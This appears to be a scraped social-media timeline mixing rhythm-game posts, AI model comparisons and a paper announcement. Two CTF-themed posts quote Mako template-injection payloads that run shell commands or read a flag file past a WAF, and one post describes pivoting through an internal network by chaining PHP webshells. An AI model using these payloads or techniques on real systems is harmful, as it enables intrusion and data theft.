Marven11

@adjohu meh buttons and ✦Gemini✦

So much inconsistency in Gmail's header. Some hovers are instant, others animated. Even the background colors differ between icons.

寄了

虽然UI不太完美（

完美的缓存率

我们完全可以把fuzzer粘在Agent上，而不是让Agent自己背字典写脚本，甚至开多个Agent来实现AI CTF一把梭

正在大力理解 13 紫 #maimai

@manateelazycat 智商高≠好用，DeepSeek V4的指令遵循差GLM5.1一大截 V4经常忽视指令，导致测试没写、实现错误、CI不过，甚至一次性提交十几个一模一样的PR GLM5.1就会严格按照指令编写实现和测试，提交PR前还会先看一眼CI然后在本地检查

梁圣这次让 DeepSeek V4 系列永久降价，其实最难受的并非 Claude 或者 GPT，甚至可以说对这两家的影响微乎其微，要用这两家的还是会用。 反而受到影响的是国内几家，比如Qwen、GLM、MiniMax 等。智商没多大差距，DeepSeek 还量大管饱。 当然这个优势看能延续多久。如果梁圣还像去年那种节奏去迭代，估计只能压1、2个月。 不过我认为不可能。毕竟现在梁圣融资了，有足够的市场来的钱去冲了😆 有 DeepSeek 最价值标的是用户的福音啊。 我现在就一个问题：梁圣什么时候把多模态也灰度给我。那么多用户都用了一个月了。🤡

很可怕，已经自己写Agent避免供应链投毒了(

@D4wnlight 看到是mako就AI一把梭了，D老师交出来了这个payload（ <% getattr(context,'write')(getattr(getattr(__import__('os'),'popen')('cat /f*'),'read')()) %> 我自己也能写，但是得刨源码找资料刨半天，打完舞萌不想干了（

@marven11_ 那很坏了 因为waf最开始我写炸了没发现 本来是想考一个冷门的__M_writer 预期解应该是这个 <% __M_writer(getattr(open(chr(47)+chr(102)+chr(108)+chr(97)+chr(103)), chr(114)+chr(101)+chr(97)+chr(100))()) %>

确实不能一把梭，因为牛头不对马嘴（

@D4wnlight 只做了ssti（

@marven11_ 200分除了那个go逆向我出的 两个cms都不是我出的（）

@D4wnlight 你说哪个题（x

@marven11_ 哪个题啊（x

看到框架名字以为我被开盒了

神曲神谱 #maimai

多跳内网渗透根本不需要搭建代理 PHP WebShell 本来就可以发送 HTTP 请求，如果使用一些技巧，甚至可以创建一个持续运行的进程 所以只需要用一个 PHP WebShell 发送请求，就可以连接另一个 PHP WebShell。只需要用一个 PHP WebShell 创建进程，就可以连接内网的 SSH 服务器

不管了，寸了就是了 #maimai

突然发现探姬被盗的大号无了（

腾讯的marvis, 又一个领导模拟器，比三省六部skill更进一步，还专门做了一个界面展示“AI员工”...

@ChengLuo_lc How does it related to DenseNet?

We're excited to release 𝐃𝐞𝐥𝐭𝐚 𝐀𝐭𝐭𝐞𝐧𝐭𝐢𝐨𝐧 𝐑𝐞𝐬𝐢𝐝𝐮𝐚𝐥𝐬, a drop-in upgrade to residual connections that learns which past layers to route from — without the routing collapse that breaks prior cross-layer attention at scale. 🚀 Attention Residuals route over cumulative hidden states, but those are highly redundant, so routing collapses to near-uniform (max weight ~0.2) in deep layers. Delta Attention Residuals route over 𝐝𝐞𝐥𝐭𝐚𝐬 (vᵢ = hᵢ₊₁ − hᵢ) — what each sublayer actually contributed — and natively enable: ⚡ 𝟏.𝟖× 𝐬𝐡𝐚𝐫𝐩𝐞𝐫 𝐜𝐫𝐨𝐬𝐬-𝐥𝐚𝐲𝐞𝐫 𝐫𝐨𝐮𝐭𝐢𝐧𝐠 Deltas are structurally diverse, lifting max attention weight from ~0.2 → ~0.6 (0.62 vs 0.35 avg) and curing routing collapse in deep layers. 📉 −𝟖.𝟐% 𝐯𝐚𝐥𝐢𝐝𝐚𝐭𝐢𝐨𝐧 𝐏𝐏𝐋 𝐚𝐭 𝟕.𝟔𝐁 Consistent gains from 220M → 7.6B (1.7–8.2% lower PPL), beating both standard residuals and Attention Residuals — the latter actually degrades below baseline at scale (18.58 vs 17.43). 🔌 𝐃𝐫𝐨𝐩-𝐢𝐧 𝐟𝐢𝐧𝐞-𝐭𝐮𝐧𝐢𝐧𝐠 𝐨𝐟 𝐩𝐫𝐞𝐭𝐫𝐚𝐢𝐧𝐞𝐝 𝐦𝐨𝐝𝐞𝐥𝐬 Additive, zero-init routing is identity at initialization, so you can convert pretrained checkpoints (e.g. Qwen3-0.6B) into Delta Attention Residuals via standard fine-tuning — beating the original on 8 downstream benchmarks (55.6 vs 55.0). 🪶 ≤𝟎.𝟎𝟏% 𝐩𝐚𝐫𝐚𝐦𝐞𝐭𝐞𝐫 𝐨𝐯𝐞𝐫𝐡𝐞𝐚𝐝 Delta Block adds just 589K params (0.008% at 8B) and ~3% memory — and runs faster + lighter than Attention Residuals (14.0k vs 12.5k tok/s, 42.7 vs 44.0 GB). 💻 Code: github.com/wdlctc/delta-a… 📄 Paper: arxiv.org/abs/2605.18855

星星🤤 #maimai